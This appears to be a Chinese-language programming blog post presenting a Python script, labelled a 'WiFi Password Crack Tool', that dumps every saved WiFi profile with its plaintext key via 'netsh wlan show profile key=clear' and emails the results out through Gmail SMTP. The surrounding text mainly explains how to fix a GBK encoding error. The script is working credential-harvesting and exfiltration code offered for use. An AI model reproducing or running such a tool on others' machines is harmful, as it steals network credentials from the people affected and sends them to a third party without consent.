1. 程式人生 > 其它 >利用Python獲取Wifi密碼並通過郵件彙報同時解決由於字符集導致的執行錯誤

利用Python獲取Wifi密碼並通過郵件彙報同時解決由於字符集導致的執行錯誤

該Python指令碼利用Subprocess第三方模組執行相應的windows命令獲取該電腦曾經訪問過的WiFi的密碼以及其他詳細資訊, 首先通過執行命令獲得所有的profile:

C:\WINDOWS\system32>netsh wlan show profile

  這裡需要尤其注意字符集的問題,由於windows的預設字符集是GBK,因此在執行subprocess.check_output()方法時需要傳遞該字符集引數,否則會報以下錯誤:

UnicodeDecodeError: 'utf-8' codec can't decode byte 0xbd in position 2: invalid start byte

       然後利用正則表示式提取出每個profile的名稱,繼續利用命令得到每個profile的具體資訊,包括明文的密碼。

 

 

import profile
import subprocess
import smtplib
from email.mime.text import MIMEText
from email.header import Header
import sys
import re
"""

Get all profiles
Get password for each profile
Email Send 

"""


def banner():
    banner 
= """ **************************************** WiFi Password Crack Tool By Jason **************************************** """ print(banner) def get_wifi_password(): wlan_profile_result = "" command1 = "netsh wlan show profile" try: res = subprocess.check_output(command1, shell=True, encoding='
GBK', stderr=subprocess.STDOUT) patterns = r"(?:所有使用者配置檔案\s*:\s*)(.*)" profile_list = re.findall(patterns,res ) # print(profile_list) if len(profile_list) == 0: #如果沒有發現任何profile,那麼久退出程式 sys.exit() for pro in profile_list: try: command2 = 'netsh wlan show profile '+'"'+pro.strip('\n').strip()+'"' +' key=clear' # print("Command: ", command2) res2 = subprocess.check_output(command2, shell=True, encoding='GBK', stderr=subprocess.STDOUT) # print(res2) wlan_profile_result = wlan_profile_result + res2 except: #必須捕獲異常,否則在執行命令的時候,可能會出錯,導致無法輸出結果 pass # print(wlan_profile_result) return wlan_profile_result except: pass def send_email(username, password, result): message = MIMEText(result,'plain','utf-8') message['From'] = Header(username, 'utf-8') message['To'] = Header(username, 'utf-8') mail_server = smtplib.SMTP("smtp.gmail.com",587) mail_server.starttls() mail_server.login(username, password) mail_server.sendmail(username, username, message.as_string()) print("Successfully to send!") if __name__ == "__main__": banner() username = '[email protected]' password = 'xxxxxxxxxxxxxxxxxxx' result = get_wifi_password() if result is None: sys.exit() send_email(username, password, result)